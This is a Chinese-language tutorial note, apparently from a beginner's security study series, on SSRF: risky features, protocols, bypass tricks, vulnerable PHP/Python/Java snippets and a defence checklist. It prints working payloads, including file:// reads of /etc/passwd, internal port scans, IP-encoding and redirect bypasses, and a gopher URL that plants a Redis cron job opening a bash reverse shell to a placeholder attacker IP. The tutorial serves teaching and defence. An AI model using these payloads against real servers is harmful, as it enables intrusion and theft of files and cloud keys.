如何从一名小白成为网安大神(第二十天)

一、学习SSRF 漏洞

(一)SSRF 是什么

SSRF(Server-Side Request Forgery,服务器端请求伪造)核心原理:攻击者利用服务端程序发起网络请求的功能,操控服务器去访问任意内网 / 外网资源 ,所有网络请求由后端服务器发出,而非客户端浏览器。

正常场景:业务需要服务器拉取外部图片、读取远程接口、获取 URL 内容、文件下载预览等。漏洞成因:后端未对传入的目标 URL 做严格过滤、校验、拦截,可控参数直接传入请求函数。

风险点

  1. 探测内网存活主机、端口(内网扫描)
  2. 访问内网敏感服务:Redis、MySQL、Memcache、FTP、Web 管理后台
  3. 读取本地文件(file:// 协议)
  4. 攻击内网 / 公网服务器(DOS、漏洞利用)
  5. 窃取元数据云服务器(AWS / 阿里云 metadata)
  6. 绕过 WAF / 访问控制(请求源是内网服务器)

(二)常见出现 SSRF 的业务功能

只要后端接收用户传入 URL 并发起请求,大概率存在风险:

  1. 图片远程加载、头像拉取、图片预览
  2. 远程文件下载、在线文档解析
  3. 网站采集、爬虫、在线代理功能
  4. 支付回调、第三方接口请求
  5. 后台获取远程页面内容、URL 检测

典型参数

url=xxximg=xxxremote=xxxlink=xxxsource=xxx

(三)支持的协议(关键利用点)

不同语言 / 库支持协议不同,是 SSRF 利用核心:

  1. http/https:访问内外网 Web 服务,端口扫描
  2. file://:读取服务器本地任意文件(Linux /etc/passwd、Windows C:\windows\system32\drivers\etc\hosts)
  3. gopher://:最强协议,可构造任意 TCP 数据流,攻击 Redis、MySQL、FTP 等无鉴权服务
  4. dict://:探测端口、发送简单 TCP 命令
  5. ftp:///sftp://:操作 FTP 服务,读取文件
  6. ldap://:LDAP 注入、信息泄露

限制:PHP allow_url_fopen、curl、requests 库支持协议有差异。

(四)基础 Payload(入门)

1. 探测本机

复制代码
# 访问服务器自身
url=http://127.0.0.1
url=http://localhost
url=http://0.0.0.0
# 八进制/十六进制绕过过滤
http://0177.0.0.1
http://0x7f.0.0.1
# 十进制IP绕过 127.0.0.1 = 2130706433
http://2130706433

2. 读取本地文件(file 协议)

复制代码
url=file:///etc/passwd
url=file://C:/Windows/System32/drivers/etc/hosts

3. 内网端口扫描

批量遍历内网端口,判断页面长度 / 响应时间判断端口开放

复制代码
url=http://192.168.1.1:3306
url=http://192.168.1.1:6379
url=http://192.168.1.1:22

4. Gopher 攻击 Redis(高频考点)

Redis 无密码时,通过 gopher 写 shell、写计划任务拿服务器权限格式:gopher://ip:port/_TCP数据流示例写入定时任务(Linux):

复制代码
gopher://127.0.0.1:6379/_%0d%0aconfig%20set%20dir%20/var/spool/cron/%0d%0aconfig%20set%20dbfilename%20root%0d%0aset%201%20%22%0a%0a*%2fbin%2fbash%20-i%20%3e%26%20%2fdev%2ftcp%2f攻击IP%2f端口%200%3e%261%0a%0a%22%0d%0asave%0d%0a

(五)绕过过滤的常用技巧(面试 / 实战重点)

后端常拦截127.0.0.1localhost192.168,各类绕过方式:

1. IP 地址变形绕过

  • 十进制:127.0.0.1 → 2130706433
  • 八进制:0177.0.0.1
  • 十六进制:0x7f.0.0.1
  • 缺省 IP:127.1、0x7f.1、127.000.000.001
  • 双 IP 分隔符:127。0。0。1 中文句号、空格、Tab

2. 域名解析绕过

搭建域名 A 记录指向 127.0.0.1,访问该域名即可访问本地

复制代码
url=http://vps指向127.0.0.1的域名

3. 302 重定向绕过

自己搭建一台服务器,访问后 302 跳转到内网 IP,后端会跟随跳转访问内网

复制代码
?url=http://你的vps/redirect.php
# redirect.php 内容
<?php
header("Location: http://127.0.0.1:6379");
?>

4. 协议、特殊字符分割绕过

  • 大小写混淆:File://HTTP://127.0.0.1
  • URL 编码、双重编码:127.0.0.1%31%32%37%2E%30%2E%30%2E%31
  • 添加无关路径参数:http://127.0.0.1@www.baidu.com 真实访问 127.0.0.1
  • 换行、%0d%0a 分割协议

5. DNS 重绑定(高级绕过)

一个域名短时间解析两个 IP:先公网 IP,再 127.0.0.1,绕过单次 DNS 校验

(六)各语言 SSRF 漏洞代码示例(看懂漏洞根源)

1. PHP curl 危险代码(最常见)

复制代码
<?php
$url = $_GET['url'];
$ch = curl_init($url);
curl_exec($ch);
curl_close($ch);
?>

危险点:默认跟随 302 跳转、支持 file/gopher/dict 多协议,无 IP 黑名单

2. Python requests 危险代码

复制代码
import requests
url = input("url:")
res = requests.get(url)
print(res.text)

默认不跟随跳转,加allow_redirects=True会造成重定向绕过

3. Java HttpURLConnection

复制代码
String url = request.getParameter("url");
URL u = new URL(url);
HttpURLConnection conn = (HttpURLConnection)u.openConnection();

Java 限制较多,但仍可访问内网、file 协议

(七)防御 SSRF 完整方案(修复标准)

1. 协议白名单(最有效)

只允许 http://https://,彻底禁用 file://、gopher://、dict://、ftp://

2. IP 黑名单拦截内网 / 本地地址

拦截所有内网段:

  • 本地:127.0.0.0/8、0.0.0.0/8
  • A 类内网:10.0.0.0/8
  • B 类内网:172.16.0.0/12
  • C 类内网:192.168.0.0/16
  • IPv6 本地 ::1

3. 禁止跟随 302 重定向

关闭自动跳转,或限制跳转次数最多 1 次,跳转后二次校验 IP

4. DNS 解析二次校验

获取域名解析后的真实 IP,再校验是否内网,防止 DNS 重绑定

5. 限制请求端口

仅开放 80、443 常规 Web 端口,禁止 6379、3306、22、21 等高危端口

6. 独立网络环境

业务服务器不与内网核心服务互通,使用独立外网机器处理远程拉取

7. 超时限制

设置短超时时间,防止内网长时间扫描、DOS 攻击

(八)实战学习路线(由浅入深)

  1. 本地搭建 SSRF 靶场(推荐)
    • DVWA、WebGoat、Pikachu、SSRF-lab
    • 自建 PHP/Java 简易 SSRF 页面练习
  2. 基础利用:端口扫描、读取本地文件
  3. 绕过过滤:IP 变形、302 跳转、编码绕过
  4. 高级利用:gopher 攻击 Redis、MySQL、计划任务提权
  5. 云环境 SSRF:访问阿里云 / 华为云 metadata 获取服务器密钥
  6. 代码审计:挖掘业务中存在 SSRF 的危险函数
  7. 编写防御代码,掌握修复方式